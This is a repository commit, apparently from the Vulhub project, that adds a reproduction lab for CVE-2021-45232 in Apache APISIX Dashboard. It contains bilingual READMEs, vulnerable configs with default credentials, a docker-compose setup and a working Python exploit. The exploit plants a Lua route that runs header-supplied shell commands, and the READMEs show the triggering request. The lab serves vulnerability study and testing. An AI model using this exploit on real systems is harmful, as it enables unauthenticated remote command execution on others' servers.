first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
apisix/CVE-2021-45232/1.png
Normal file
BIN
apisix/CVE-2021-45232/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 115 KiB |
BIN
apisix/CVE-2021-45232/2.png
Normal file
BIN
apisix/CVE-2021-45232/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 38 KiB |
54
apisix/CVE-2021-45232/README.md
Normal file
54
apisix/CVE-2021-45232/README.md
Normal file
@@ -0,0 +1,54 @@
|
||||
# Apache APISIX Dashboard Unauthenticated Access Leads to RCE (CVE-2021-45232)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Apache APISIX is a dynamic, real-time, high-performance API gateway, and Apache APISIX Dashboard is a easy to use frontend interface that is used to manage the Apache APISIX.
|
||||
|
||||
In Apache APISIX Dashboard before 2.10.1, the Manager API uses two frameworks and introduces framework `droplet` on the basis of framework `gin`, all APIs and authentication middleware are developed based on framework `droplet`. But there are 2 of these APIs `/apisix/admin/migrate/export` and `/apisix/admin/migrate/import` directly use the interface of framework `gin` which are able to bypass the authentication.
|
||||
|
||||
By using these 2 unauthenticated API endpoints, attackers can export and import arbitrary Apache APISIX configuration including routers, services, scripts etc, that leads to reqeust unexpected URL (SSRF) or execute arbitrary LUA scripts (RCE).
|
||||
|
||||
References:
|
||||
|
||||
- https://apisix.apache.org/blog/2021/12/28/dashboard-cve-2021-45232/
|
||||
- https://github.com/wuppp/cve-2021-45232-exp
|
||||
|
||||
## Vulnerable environment
|
||||
|
||||
Execute following command to start a vulnerable Apache APISIX Dashboard 2.9:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
Then you can access `http://your-ip:9000/` to see the login page for Apache APISIX Dashboard.
|
||||
|
||||
## Exploit
|
||||
|
||||
`/apisix/admin/migrate/export` and `/apisix/admin/migrate/import` are 2 unauthenticated API provided by Apache APISIX Dashboard, that are used to export and import configuration for Apache APISIX. So we can simplely import a craft configuration with evil router that contains user provided LUA script:
|
||||
|
||||

|
||||
|
||||
Noted that the last 4 bytes are CRC checksum of this file, so it's better to use a automatic POC to build and send the request, for example [this POC](https://github.com/wuppp/cve-2021-45232-exp).
|
||||
|
||||
After adding the evil router, you should send the request to Apache APISIX (difference from Apache APISIX Dashboard) to trigger the LUA script.
|
||||
|
||||
The Apache APISIX is listening on port 9080 in this environment:
|
||||
|
||||
```
|
||||
GET /okw1Rh HTTP/1.1
|
||||
Host: your-ip:9080
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en-US;q=0.9,en;q=0.8
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
|
||||
Connection: close
|
||||
CMD: id
|
||||
Cache-Control: max-age=0
|
||||
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
As you can see, the command in `CMD` header is executed by Apache APISIX.
|
52
apisix/CVE-2021-45232/README.zh-cn.md
Normal file
52
apisix/CVE-2021-45232/README.zh-cn.md
Normal file
@@ -0,0 +1,52 @@
|
||||
# Apache APISIX Dashboard API权限绕过导致RCE(CVE-2021-45232)
|
||||
|
||||
Apache APISIX是一个动态、实时、高性能API网关,而Apache APISIX Dashboard是一个配套的前端面板。
|
||||
|
||||
Apache APISIX Dashboard 2.10.1版本前存在两个API`/apisix/admin/migrate/export`和`/apisix/admin/migrate/import`,他们没有经过`droplet`框架的权限验证,导致未授权的攻击者可以导出、导入当前网关的所有配置项,包括路由、服务、脚本等。攻击者通过导入恶意路由,可以用来让Apache APISIX访问任意网站,甚至执行LUA脚本。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://apisix.apache.org/zh/blog/2021/12/28/dashboard-cve-2021-45232/
|
||||
- https://github.com/wuppp/cve-2021-45232-exp
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
执行如下命令启动一个有漏洞的Apache APISIX Dashboard 2.9:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
然后访问`http://your-ip:9000/`即可看到Apache APISIX Dashboard的登录页面。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
利用`/apisix/admin/migrate/export`和`/apisix/admin/migrate/import`两个Apache APISIX Dashboard提供的未授权API,我们可以简单地导入一个恶意配置文件,其中包含我们构造的LUA脚本:
|
||||
|
||||

|
||||
|
||||
注意的是,这个配置文件的最后4个字符是当前文件的CRC校验码,所以最好通过自动化工具来生成和发送这个利用数据包,比如[这个POC](https://github.com/wuppp/cve-2021-45232-exp)。
|
||||
|
||||
添加完恶意路由后,你需要访问Apache APISIX中对应的路径来触发前面添加的脚本。值得注意的是,Apache APISIX和Apache APISIX Dashboard是两个不同的服务,Apache APISIX Dashboard只是一个管理页面,而添加的路由是位于Apache APISIX中,所以需要找到Apache APISIX监听的端口或域名。
|
||||
|
||||
在当前环境下,Apache APISIX监听在9080端口下。我们发送数据包:
|
||||
|
||||
```
|
||||
GET /okw1Rh HTTP/1.1
|
||||
Host: your-ip:9080
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en-US;q=0.9,en;q=0.8
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
|
||||
Connection: close
|
||||
CMD: id
|
||||
Cache-Control: max-age=0
|
||||
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
可见,我们在Header中添加的`CMD`头中的命令已被执行。
|
||||
|
||||
这个漏洞是Apache APISIX Dashboard的漏洞,而Apache APISIX无需配置IP白名单或管理API,只要二者连通同一个etcd即可。
|
26
apisix/CVE-2021-45232/apisix.yml
Normal file
26
apisix/CVE-2021-45232/apisix.yml
Normal file
@@ -0,0 +1,26 @@
|
||||
#
|
||||
# Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
# contributor license agreements. See the NOTICE file distributed with
|
||||
# this work for additional information regarding copyright ownership.
|
||||
# The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
# (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
apisix:
|
||||
node_listen: 9080 # APISIX listening port
|
||||
enable_ipv6: false
|
||||
|
||||
etcd:
|
||||
host: # it's possible to define multiple etcd hosts addresses of the same etcd cluster.
|
||||
- "http://etcd:2379" # multiple etcd address
|
||||
prefix: "/apisix" # apisix configurations prefix
|
||||
timeout: 30 # 30 seconds
|
95
apisix/CVE-2021-45232/apisix_dashboard_rce.py
Normal file
95
apisix/CVE-2021-45232/apisix_dashboard_rce.py
Normal file
@@ -0,0 +1,95 @@
|
||||
#!/usr/bin/env python3
|
||||
import zlib
|
||||
import json
|
||||
import random
|
||||
import requests
|
||||
import string
|
||||
import sys
|
||||
from urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
# Suppress only the single warning from urllib3 needed.
|
||||
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
|
||||
|
||||
|
||||
eval_config = {
|
||||
"Counsumers": [],
|
||||
"Routes": [
|
||||
{
|
||||
"id": str(random.randint(100000000000000000, 1000000000000000000)),
|
||||
"create_time": 1640674554,
|
||||
"update_time": 1640677637,
|
||||
"uris": [
|
||||
"/rce"
|
||||
],
|
||||
"name": "rce",
|
||||
"methods": [
|
||||
"GET",
|
||||
"POST",
|
||||
"PUT",
|
||||
"DELETE",
|
||||
"PATCH",
|
||||
"HEAD",
|
||||
"OPTIONS",
|
||||
"CONNECT",
|
||||
"TRACE"
|
||||
],
|
||||
"script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
|
||||
"status": 1
|
||||
}
|
||||
],
|
||||
"Services": [],
|
||||
"SSLs": [],
|
||||
"Upstreams": [],
|
||||
"Scripts": [],
|
||||
"GlobalPlugins": [],
|
||||
"PluginConfigs": []
|
||||
}
|
||||
|
||||
|
||||
def random_str():
|
||||
return ''.join(random.choices(string.ascii_letters + string.digits, k=6))
|
||||
|
||||
|
||||
def calc_crc(data):
|
||||
crc32 = zlib.crc32(data) & 0xffffffff
|
||||
return crc32.to_bytes(4, byteorder="big")
|
||||
|
||||
|
||||
def export_data(url):
|
||||
r = requests.get(url + "/apisix/admin/migrate/export", verify=False)
|
||||
return r.text[:-4]
|
||||
|
||||
|
||||
def import_data(url, data):
|
||||
data = json.dumps(data).encode()
|
||||
crc32 = calc_crc(data)
|
||||
|
||||
files = {"file": ("data", data + crc32, "text/data")}
|
||||
resp = requests.post(url + "/apisix/admin/migrate/import", files=files, verify=False)
|
||||
# print(resp.text)
|
||||
if resp.json().get("code", -1) == 0:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) != 2:
|
||||
print("python " + sys.argv[0] + " http://127.0.0.1:9000")
|
||||
exit()
|
||||
|
||||
url = sys.argv[1]
|
||||
if url.endswith("/"):
|
||||
url = url[:-1]
|
||||
|
||||
uri = random_str()
|
||||
eval_config["Routes"][0]["uris"] = [ "/" + uri]
|
||||
eval_config["Routes"][0]["name"] = uri
|
||||
|
||||
if import_data(url, eval_config):
|
||||
print("attack success")
|
||||
print("uri is: " + "/" + uri)
|
||||
else:
|
||||
print("attack error")
|
||||
|
||||
|
84
apisix/CVE-2021-45232/dashboard.yml
Normal file
84
apisix/CVE-2021-45232/dashboard.yml
Normal file
@@ -0,0 +1,84 @@
|
||||
#
|
||||
# Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
# contributor license agreements. See the NOTICE file distributed with
|
||||
# this work for additional information regarding copyright ownership.
|
||||
# The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
# (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
conf:
|
||||
listen:
|
||||
host: 0.0.0.0 # `manager api` listening ip or host name
|
||||
port: 9000 # `manager api` listening port
|
||||
|
||||
allow_list: # If we don't set any IP list, then any IP access is allowed by default.
|
||||
- 0.0.0.0/0
|
||||
etcd:
|
||||
endpoints: # supports defining multiple etcd host addresses for an etcd cluster
|
||||
- "http://etcd:2379"
|
||||
|
||||
authentication:
|
||||
secret:
|
||||
s3cr3t # secret for jwt token generation.
|
||||
# NOTE: Highly recommended to modify this value to protect `manager api`.
|
||||
# if it's default value, when `manager api` start, it will generate a random string to replace it.
|
||||
expire_time: 3600 # jwt token expire time, in second
|
||||
users: # yamllint enable rule:comments-indentation
|
||||
- username: admin # username and password for login `manager api`
|
||||
password: vulhub
|
||||
|
||||
plugins: # plugin list (sorted in alphabetical order)
|
||||
- api-breaker
|
||||
- authz-keycloak
|
||||
- basic-auth
|
||||
- batch-requests
|
||||
- consumer-restriction
|
||||
- cors
|
||||
# - dubbo-proxy
|
||||
- echo
|
||||
# - error-log-logger
|
||||
# - example-plugin
|
||||
- fault-injection
|
||||
- grpc-transcode
|
||||
- hmac-auth
|
||||
- http-logger
|
||||
- ip-restriction
|
||||
- jwt-auth
|
||||
- kafka-logger
|
||||
- key-auth
|
||||
- limit-conn
|
||||
- limit-count
|
||||
- limit-req
|
||||
# - log-rotate
|
||||
# - node-status
|
||||
- openid-connect
|
||||
- prometheus
|
||||
- proxy-cache
|
||||
- proxy-mirror
|
||||
- proxy-rewrite
|
||||
- redirect
|
||||
- referer-restriction
|
||||
- request-id
|
||||
- request-validation
|
||||
- response-rewrite
|
||||
- serverless-post-function
|
||||
- serverless-pre-function
|
||||
# - skywalking
|
||||
- sls-logger
|
||||
- syslog
|
||||
- tcp-logger
|
||||
- udp-logger
|
||||
- uri-blocker
|
||||
- wolf-rbac
|
||||
- zipkin
|
||||
- server-info
|
||||
- traffic-split
|
30
apisix/CVE-2021-45232/docker-compose.yml
Normal file
30
apisix/CVE-2021-45232/docker-compose.yml
Normal file
@@ -0,0 +1,30 @@
|
||||
version: "2"
|
||||
|
||||
services:
|
||||
apisix:
|
||||
image: vulhub/apisix:2.9
|
||||
volumes:
|
||||
- ./apisix.yml:/usr/local/apisix/conf/config.yaml
|
||||
depends_on:
|
||||
- etcd
|
||||
ports:
|
||||
- "9080:9080"
|
||||
- "9091:9091"
|
||||
- "9443:9443"
|
||||
dashboard:
|
||||
image: vulhub/apisix-dashboard:2.9.0
|
||||
volumes:
|
||||
- ./dashboard.yml:/usr/local/apisix-dashboard/conf/conf.yaml
|
||||
depends_on:
|
||||
- etcd
|
||||
ports:
|
||||
- "9000:9000"
|
||||
etcd:
|
||||
image: bitnami/etcd:3.4.15
|
||||
environment:
|
||||
ETCD_ENABLE_V2: "true"
|
||||
ALLOW_NONE_AUTHENTICATION: "yes"
|
||||
ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379"
|
||||
ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379"
|
||||
ports:
|
||||
- "2379:2379/tcp"
|
Reference in New Issue
Block a user